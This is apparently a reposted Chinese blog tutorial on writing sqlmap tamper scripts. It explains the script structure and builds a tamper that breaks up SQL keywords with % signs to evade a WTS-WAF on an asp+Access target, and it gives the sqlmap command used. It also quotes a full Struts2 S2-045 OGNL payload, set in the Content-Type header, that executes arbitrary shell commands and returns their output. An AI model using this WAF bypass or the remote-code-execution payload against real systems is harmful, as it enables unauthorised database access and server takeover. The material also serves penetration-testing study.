SQLMap tamper編寫


簡介

sqlmap是一個自動化的SQL注入工具,而tamper則是對其進行擴展的一系列腳本,主要功能是對本來的payload進行特定的更改以繞過waf/ids

可以理解為,sqlmap在對漏洞網站自動化注入的時候,如果我們使用了tamper腳本,sqlmap的每個payload都會經過tamper這個包裝車間的加工,然后再進行投遞。

當我們使用網上公開的tamper時,這個tamper是怎么實現的我們不需要知道,只需要按照使用說明使用即可,但滲透測試中環境千變萬化,我們總會遇到需要自己編寫tamper的場景,這也是本文的重點

使用方法

sqlmap.py XXXXX -tamper "模塊名"

sqlmaptamper目錄下有一些簡單的tamper腳本,可以進行簡單繞過

tamper結構簡述

escapequotes.py這個tamper文件為例

見名知義,該tamper是用來轉義的,將單引號轉換成\\',雙引號轉換成 \\"

代碼如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Slash escape single and double quotes (e.g. ' -> \')

    >>> tamper('1" AND SLEEP(5)#')
    '1\\\\" AND SLEEP(5)#'
    """

    return payload.replace("'", "\\'").replace('"', '\\"')

簡單解釋一下結構

__priority__ 是當前腳本調用優先等級,該優先級用於使用多個tamper時的執行順序選擇

在自帶的tamper腳本中一共有以下幾種優先級,還可以自定義-100~100

__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWER
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.NORMAL
__priority__ = PRIORITY.HIGH
__priority__ = PRIORITY.HIGHER
__priority__ = PRIORITY.HIGHEST

dependencies函數聲明該腳本適用或不適用的范圍,可以為空,例如:

import os
from lib.core.common import singleTimeWarnMessage

def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
# singleTimeWarnMessage() 用於在控制台中打印出警告信息

tamper是主要的函數,接受的參數為payload**kwargs,返回值為替換后的payload

這里可以看出返回的是使用了python字符串替換函數replace,將字符串中的單引號和雙引號進行轉義

payload.replace("'", "\\'").replace('"', '\\"')

tamper函數不僅有payload參數,還有可變長參數**kwargs

def tamper(payload, **kwargs)

kwargs是一個字典,我們輸出出來看一下

def tamper(payload, **kwargs):
    print(kwargs)
    return payload

其結構為

{'headers': {}, 'delimiter': '&', 'hints': {}}

這里的kwargs['headers']很明顯是我們的請求頭,我們可以對其進行自定義

傾旋師傅提到這樣來執行s2-45

kwargs['headers']['Content-type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

kwargs['headers']['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" # 修改User-Agent

當然我們可以進行更多的自定義

編寫一個簡單的 bypass WTS-WAF tamper

了解了結構和說明之后,我們來編寫一個bypass wts-waf 的 tamper 腳本,思路就跟之前提到的這里相同,只是將其關鍵字中間添加了%號:https://www.cnblogs.com/Cl0ud/p/14345881.html

目標站點是asp+Access,裝着不知名版本的wts-waf

我們使用sqlmap證明漏洞存在,tamper內容為

'''
    test bypass WTS-WAF
'''

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload=payload.lower()
    payload=payload.replace('and','an%d')
    payload=payload.replace('select','sel%ect')
    payload=payload.replace('union','un%ion')
    payload=payload.replace('sleep','sl%eep')
    payload=payload.replace('or','o%r')
    payload=payload.replace('between','bet%ween')
    return payload

輸入命令

sqlmap.py -u http://漏洞URL?class=16 --tamper=wts_waf -v 3

這里的-v 3是為了看到payload

它共有七個等級,默認為1:

  • 0、只顯示python錯誤以及嚴重的信息。
  • 1、同時顯示基本信息和警告信息。(默認)
  • 2、同時顯示debug信息。
  • 3、同時顯示注入的payload。
  • 4、同時顯示HTTP請求。
  • 5、同時顯示HTTP響應頭。
  • 6、同時顯示HTTP響應頁面。

可以看到這里payload中的關鍵字成功被加工

證明漏洞存在

想要通過注入點獲取數據和進一步操作需要在簡易版tamper的基礎上再進行修改,比如禁用函數關鍵字的繞過等等,下次再寫,另外會寫一些繞過最新WAF的文章 :)

參考鏈接


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM